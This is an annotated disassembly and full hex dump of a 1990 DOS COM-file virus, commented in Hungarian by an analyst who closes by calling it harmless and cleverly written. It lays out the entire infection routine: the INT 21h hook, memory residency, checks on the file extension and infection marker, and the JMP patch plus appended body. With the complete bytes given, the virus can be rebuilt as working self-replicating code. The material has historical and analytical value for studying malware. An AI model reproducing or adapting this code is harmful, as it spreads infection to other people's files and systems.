@ virus unassembled list: `90.07.21. Magyarzat: Kvri Lszl Tel.: (41) 21-822 07-13:20 mh. 21-033 18:00- 0EB0:0100 E80000 CALL 0103 0EB0:0103 90 NOP 0EB0:0104 5E POP SI ;SI=IP bziscm 0EB0:0105 50 PUSH AX 0EB0:0106 51 PUSH CX 0EB0:0107 B82135 MOV AX,3521 0EB0:010A CD21 INT 21 ;INT 21h cm lekrdezse 0EB0:010C 8CC0 MOV AX,ES 0EB0:010E 3D0040 CMP AX,4000 ;memriban vam ? 0EB0:0111 7220 JB 0133 ;nincs nem 4000h fl ;mutat! 0EB0:0113 83EE03 SUB SI,+03 ;JMP+op hossza 0EB0:0116 BA8601 MOV DX,0186 ;eredeti JMP+op cime 0EB0:0119 03F2 ADD SI,DX ;bzishoz 0EB0:011B 8B1C MOV BX,[SI] 0EB0:011D 8B4C02 MOV CX,[SI+02] 0EB0:0120 891E0001 MOV [0100],BX ;eredeti JMP+op. 0EB0:0124 890E0201 MOV [0102],CX ;visszaraksa 0EB0:0128 8CD8 MOV AX,DS 0EB0:012A 8EC0 MOV ES,AX ;ES=DS 0EB0:012C 59 POP CX 0EB0:012D 58 POP AX 0EB0:012E BB0001 MOV BX,0100 0EB0:0131 FFE3 JMP BX ;ugrs 0100h-ra igy ;lefut az eredeti prg. ;Ha nincs a memriban 0EB0:0133 A10200 MOV AX,[0002] ;PSP-ben a RAM tetejnek ;paragrafuscme 0EB0:0136 2D0008 SUB AX,0800 0EB0:0139 8EC0 MOV ES,AX ;virus j szegmens 0EB0:013B BF0001 MOV DI,0100 0EB0:013E 83EE03 SUB SI,+03 ;JMP+op. hossza 0EB0:0141 B90002 MOV CX,0200 ;virus mrete 0EB0:0144 F3 REPZ 0EB0:0145 A4 MOVSB ;virus msolsa az ;j szegmensbe 0EB0:0146 8C06F200 MOV [00F2],ES ;j szegmenscm 0EB0:014A B95501 MOV CX,0155 ;j szegmensben a be- ;lpsi offset-je 0EB0:014D 890EF000 MOV [00F0],CX 0EB0:0151 FF2EF000 JMP FAR [00F0] ;ugrs az j seg.:0155 ;belpsi pont 0EB0:0155 8CC1 MOV CX,ES 0EB0:0157 8CD8 MOV AX,DS 0EB0:0159 26 ES: 0EB0:015A A38C02 MOV [028C],AX ;rgi seg (eredeti ;program) 0EB0:015D B80001 MOV AX,0100 0EB0:0160 26 ES: 0EB0:0161 A38A02 MOV [028A],AX ;0100h offset 0EB0:0164 8CC0 MOV AX,ES 0EB0:0166 8ED8 MOV DS,AX ;DS=j seg 0EB0:0168 B82135 MOV AX,3521 0EB0:016B CD21 INT 21 ;INT 21h lekrdezse 0EB0:016D 2E CS: 0EB0:016E 891E7C02 MOV [027C],BX ;INT 21h offset 0EB0:0172 8CC3 MOV BX,ES 0EB0:0174 2E CS: 0EB0:0175 891E7E02 MOV [027E],BX ;INT 21h segment 0EB0:0179 B8A501 MOV AX,01A5 ;j INT 21h offset 0EB0:017C 8BD0 MOV DX,AX 0EB0:017E 8BC1 MOV AX,CX 0EB0:0180 8ED8 MOV DS,AX 0EB0:0182 B82125 MOV AX,2521 0EB0:0185 CD21 INT 21 ;INT 21h ellopsa 0EB0:0187 8B168602 MOV DX,[0286] ;JMP+op. 0EB0:018B 8B0E8802 MOV CX,[0288] ;operandus 0EB0:018F A18C02 MOV AX,[028C] ;eredeti prg.seg. 0EB0:0192 8ED8 MOV DS,AX 0EB0:0194 89160001 MOV [0100],DX ;eredeti JMP+op. 0EB0:0198 890E0201 MOV [0102],CX ;visszaraksa 0EB0:019C 8EC0 MOV ES,AX 0EB0:019E 59 POP CX 0EB0:019F 58 POP AX 0EB0:01A0 2E CS: 0EB0:01A1 FF2E8A02 JMP FAR [028A] ;ugrs az eredeti ;programra ;j INT 21h rutin 0EB0:01A5 90 NOP 0EB0:01A6 80FC3D CMP AH,3D ;file nyits ? 0EB0:01A9 7403 JZ 01AE ;igen 0EB0:01AB E9C000 JMP 026E ;ugrs az eredeti ;INT 21h-ra 0EB0:01AE 1E PUSH DS 0EB0:01AF 06 PUSH ES 0EB0:01B0 50 PUSH AX 0EB0:01B1 53 PUSH BX 0EB0:01B2 51 PUSH CX 0EB0:01B3 52 PUSH DX 0EB0:01B4 57 PUSH DI 0EB0:01B5 56 PUSH SI ;Ellenrzi hogy COM file-e 0EB0:01B6 8BFA MOV DI,DX ;Filespec. 0EB0:01B8 8CDE MOV SI,DS 0EB0:01BA 8EC6 MOV ES,SI 0EB0:01BC B000 MOV AL,00 0EB0:01BE B93200 MOV CX,0032 0EB0:01C1 FC CLD 0EB0:01C2 F2 REPNZ 0EB0:01C3 AE SCASB ;PATH lemsolsa 0EB0:01C4 83EF03 SUB DI,+03 0EB0:01C7 B84F4D MOV AX,4D4F ;'OM' AX-ba 0EB0:01CA 26 ES: 0EB0:01CB 3B05 CMP AX,[DI] ;'OM' ? 0EB0:01CD 7403 JZ 01D2 ;igen 0EB0:01CF E99400 JMP 0266 ;eredeti INT 21h-ra 0EB0:01D2 B82E43 MOV AX,432E ;'.C' AX-be 0EB0:01D5 26 ES: 0EB0:01D6 3B45FE CMP AX,[DI-02] ;'.C' ? 0EB0:01D9 7403 JZ 01DE ;biztos hogy COM file! 0EB0:01DB E98800 JMP 0266 ;eredeti INT 21h-ra 0EB0:01DE B43D MOV AH,3D ;file nyitsa 0EB0:01E0 B002 MOV AL,02 ;rs/olvass 0EB0:01E2 E89000 CALL 0275 ;INT 21h hivsa 0EB0:01E5 7303 JNB 01EA ;ha nincs hiba 0EB0:01E7 EB7D JMP 0266 ;eredeti INT 21h-ra ;File mret ellenrzs 0EB0:01E9 90 NOP 0EB0:01EA 8BD8 MOV BX,AX ;kezel 0EB0:01EC B90000 MOV CX,0000 0EB0:01EF BA0000 MOV DX,0000 0EB0:01F2 B80242 MOV AX,4202 ;file vgre poz. 0EB0:01F5 E87D00 CALL 0275 ;INT 21h hivsa 0EB0:01F8 3D00FE CMP AX,FE00 0EB0:01FB 7369 JNB 0266 ;nagyobb INT 21h-ra ;Eredeti 4 byte beolvassa (JMP+operandusa) 0EB0:01FD 2D0300 SUB AX,0003 ;JMP+op. hossza 0EB0:0200 2E CS: 0EB0:0201 A38102 MOV [0281],AX 0EB0:0204 B80042 MOV AX,4200 ;file elejre poz. 0EB0:0207 B90000 MOV CX,0000 0EB0:020A BA0000 MOV DX,0000 0EB0:020D E86500 CALL 0275 ;INT 21h hivsa 0EB0:0210 B43F MOV AH,3F ;olvass 0EB0:0212 B90400 MOV CX,0004 ;4 byte 0EB0:0215 BA8602 MOV DX,0286 ;ide olvassa 0EB0:0218 8CCF MOV DI,CS 0EB0:021A 8EDF MOV DS,DI ;DS=CS 0EB0:021C E85600 CALL 0275 ;INT 21h hivsa 0EB0:021F B005 MOV AL,05 0EB0:0221 3A068902 CMP AL,[0289] 0EB0:0225 743F JZ 0266 ;Virusra mutat JMP+op bersa a programba 0EB0:0227 B80042 MOV AX,4200 ;file elejre poz. 0EB0:022A B90000 MOV CX,0000 0EB0:022D 8BD1 MOV DX,CX 0EB0:022F E84300 CALL 0275 ;INT 21h hivsa 0EB0:0232 B0E9 MOV AL,E9 ;JMP kdja 0EB0:0234 2E CS: 0EB0:0235 A28002 MOV [0280],AL ;leteszi 0EB0:0238 B005 MOV AL,05 0EB0:023A 2E CS: 0EB0:023B A28302 MOV [0283],AL 0EB0:023E B90400 MOV CX,0004 ;4 byte 0EB0:0241 BA8002 MOV DX,0280 ;JMP+op. kezdete 0EB0:0244 0E PUSH CS 0EB0:0245 1F POP DS 0EB0:0246 B440 MOV AH,40 ;kirs 0EB0:0248 E82A00 CALL 0275 ;INT 21h hivsa ;1C0h byte kirsa FERTZS! 0EB0:024B B80242 MOV AX,4202 ;file vgre poz. 0EB0:024E B90000 MOV CX,0000 0EB0:0251 8BD1 MOV DX,CX 0EB0:0253 E81F00 CALL 0275 ;INT 21h hivsa 0EB0:0256 BA0001 MOV DX,0100 ;0100h -tl 0EB0:0259 B9C001 MOV CX,01C0 ;01c0h byte 0EB0:025C B440 MOV AH,40 ;kirsa 0EB0:025E E81400 CALL 0275 ;INT 21h hivsa ;Ffertztt file zrsa 0EB0:0261 B43E MOV AH,3E 0EB0:0263 E80F00 CALL 0275 ;INT 21h hivsa 0EB0:0266 5E POP SI 0EB0:0267 5F POP DI 0EB0:0268 5A POP DX 0EB0:0269 59 POP CX 0EB0:026A 5B POP BX 0EB0:026B 58 POP AX 0EB0:026C 07 POP ES 0EB0:026D 1F POP DS 0EB0:026E 90 NOP 0EB0:026F 2E CS: 0EB0:0270 FF2E7C02 JMP FAR [027C] ;ugrs az eredeti ;INT 21h-ra 0EB0:0274 CF IRET ;Eredeti INT 21h hivsa 0EB0:0275 9C PUSHF ;IRET miatt! 0EB0:0276 2E CS: 0EB0:0277 FF1E7C02 CALL FAR [027C] ;INT 21h hivsa 0EB0:027B C3 RET 0EB0:027C 16 PUSH SS 0EB0:027D 130C ADC CX,[SI] 0EB0:027F 02E9 ADD CH,CL 0EB0:0281 1C00 SBB AL,00 0EB0:0283 050101 ADD AX,0101 0EB0:0286 EB12 JMP 029A 0EB0:0288 90 NOP 0EB0:0289 49 DEC CX 0EB0:028A 0001 ADD [BX+DI],AL 0EB0:028C DD0A ESC 29,[BP+SI][BP+SI] 0EB0:028E 0A0D OR CL,[DI] 0EB0:0290 9A6476206D CALL 6D20:7664 0EB0:0295 69 DB 69 0EB0:0296 6E DB 6E 0EB0:0297 64 DB 64 0EB0:0298 65 DB 65 0EB0:0299 6E DB 6E 0EB0:029A 206E61 AND [BP+61],CH 0EB0:029D 67 DB 67 0EB0:029E 7974 JNS 0314 0EB0:02A0 7564 JNZ 0306 0EB0:02A2 A073A3 MOV AL,[A373] 0EB0:02A5 6E DB 6E 0EB0:02A6 61 DB 61 0EB0:02A7 6B DB 6B 0EB0:02A8 2120 AND [BX+SI],SP 0EB0:02AA 54 PUSH SP 0EB0:02AB 7572 JNZ 031F 0EB0:02AD 62 DB 62 0EB0:02AE 6F DB 6F 0EB0:02AF 204020 AND [BX+SI+20],AL 0EB0:02B2 2E CS: 0EB0:02B3 2E CS: 0EB0:02B4 2E CS: 0EB0:02B5 202E2E2E AND [2E2E],CH 0EB0:02B9 201A AND [BP+SI],BL 0EB0:02BB 0000 ADD [BX+SI],AL 0EB0:02BD 0000 ADD [BX+SI],AL 0EB0:02BF 005374 ADD [BP+DI+74],DL 0EB0:02C2 20E8 AND AL,CH 0EB0:02C4 4E DEC SI 0EB0:02C5 01E9 ADD CX,BP 0EB0:02C7 51 PUSH CX 0EB0:02C8 FF2EC606 JMP FAR [06C6] 0EB0:02CC 050006 ADD AX,0600 0EB0:02CF 2E CS: 0EB0:02D0 C70609001000 MOV WORD PTR [0009],0010 0EB0:02D6 EB7B JMP 0353 0EB0:02D8 90 NOP 0EB0:02D9 2E CS: 0EB0:02DA C70609000A00 MOV WORD PTR [0009],000A 0EB0:02E0 EB71 JMP 0353 0EB0:02E2 90 NOP 0EB0:02E3 2E CS: 0EB0:02E4 FE060600 INC BYTE PTR [0006] 0EB0:02E8 56 PUSH SI 0EB0:02E9 8BF3 MOV SI,BX 0EB0:02EB 83C302 ADD BX,+02 0EB0:02EE 3E DS: 0EB0:02EF 8B7202 MOV SI,[BP+SI+02] 0EB0:02F2 2E CS: 0EB0:02F3 803E060000 CMP BYTE PTR [0006],00 0EB0:02F8 750A JNZ 0304 0EB0:02FA AC LODSB 0EB0:02FB 3C00 CMP AL,00 0EB0:02FD 743B JZ 033A 0EB0:02FF E80F03 CALL 0611 Megjegyzs: Nincs kros hatsa. Megoldsa kitn, hiszen mg egy system info lekrse esetn sem kkisebb a DOS lltal ltott mem- ria mret, mint a fizikai RAM mret! DUMP 0EB0:0100 E8 00 00 90 5E 50 51 B8-21 35 CD 21 8C C0 3D 00 ....^PQ.!5.!..=. 0EB0:0110 40 72 20 83 EE 03 BA 86-01 03 F2 8B 1C 8B 4C 02 @r ...........L. 0EB0:0120 89 1E 00 01 89 0E 02 01-8C D8 8E C0 59 58 BB 00 ............YX.. 0EB0:0130 01 FF E3 A1 02 00 2D 00-08 8E C0 BF 00 01 83 EE ......-......... 0EB0:0140 03 B9 00 02 F3 A4 8C 06-F2 00 B9 55 01 89 0E F0 ...........U.... 0EB0:0150 00 FF 2E F0 00 8C C1 8C-D8 26 A3 8C 02 B8 00 01 .........&...... 0EB0:0160 26 A3 8A 02 8C C0 8E D8-B8 21 35 CD 21 2E 89 1E &........!5.!... 0EB0:0170 7C 02 8C C3 2E 89 1E 7E-02 B8 A5 01 8B D0 8B C1 |......~........ 0EB0:0180 8E D8 B8 21 25 CD 21 8B-16 86 02 8B 0E 88 02 A1 ...!%.!......... 0EB0:0190 8C 02 8E D8 89 16 00 01-89 0E 02 01 8E C0 59 58 ..............YX 0EB0:01A0 2E FF 2E 8A 02 90 80 FC-3D 74 03 E9 C0 00 1E 06 ........=t...... 0EB0:01B0 50 53 51 52 57 56 8B FA-8C DE 8E C6 B0 00 B9 32 PSQRWV.........2 0EB0:01C0 00 FC F2 AE 83 EF 03 B8-4F 4D 26 3B 05 74 03 E9 ........OM&;.t.. 0EB0:01D0 94 00 B8 2E 43 26 3B 45-FE 74 03 E9 88 00 B4 3D ....C&;E.t.....= 0EB0:01E0 B0 02 E8 90 00 73 03 EB-7D 90 8B D8 B9 00 00 BA .....s..}....... 0EB0:01F0 00 00 B8 02 42 E8 7D 00-3D 00 FE 73 69 2D 03 00 ....B.}.=..si-.. 0EB0:0200 2E A3 81 02 B8 00 42 B9-00 00 BA 00 00 E8 65 00 ......B.......e. 0EB0:0210 B4 3F B9 04 00 BA 86 02-8C CF 8E DF E8 56 00 B0 .?...........V.. 0EB0:0220 05 3A 06 89 02 74 3F B8-00 42 B9 00 00 8B D1 E8 .:...t?..B...... 0EB0:0230 43 00 B0 E9 2E A2 80 02-B0 05 2E A2 83 02 B9 04 C............... 0EB0:0240 00 BA 80 02 0E 1F B4 40-E8 2A 00 B8 02 42 B9 00 .......@.*...B.. 0EB0:0250 00 8B D1 E8 1F 00 BA 00-01 B9 C0 01 B4 40 E8 14 .............@.. 0EB0:0260 00 B4 3E E8 0F 00 5E 5F-5A 59 5B 58 07 1F 90 2E ..>...^_ZY[X.... 0EB0:0270 FF 2E 7C 02 CF 9C 2E FF-1E 7C 02 C3 16 13 0C 02 ..|......|...... 0EB0:0280 E9 1C 00 05 01 01 EB 12-90 49 00 01 DD 0A 0A 0D .........I...... 0EB0:0290 9A 64 76 20 6D 69 6E 64-65 6E 20 6E 61 67 79 74 .dv minden nagyt 0EB0:02A0 75 64 A0 73 A3 6E 61 6B-21 20 54 75 72 62 6F 20 ud.s.nak! Turbo 0EB0:02B0 40 20 2E 2E 2E 20 2E 2E-2E 20 1A 00 00 00 00 00 @ ... ... ...... 0EB0:02C0 53 74 20 E8 4E 01 E9 51-FF 2E C6 06 05 00 06 2E St .N..Q........ 0EB0:02D0 C7 06 09 00 10 00 EB 7B-90 2E C7 06 09 00 0A 00 .......{........ 0EB0:02E0 EB 71 90 2E FE 06 06 00-56 8B F3 83 C3 02 3E 8B .q......V.....>. 0EB0:02F0 72 02 2E 80 3E 06 00 00-75 0A AC 3C 00 74 3B E8 r...>...u..<.t;. 0EB0:0300 0F .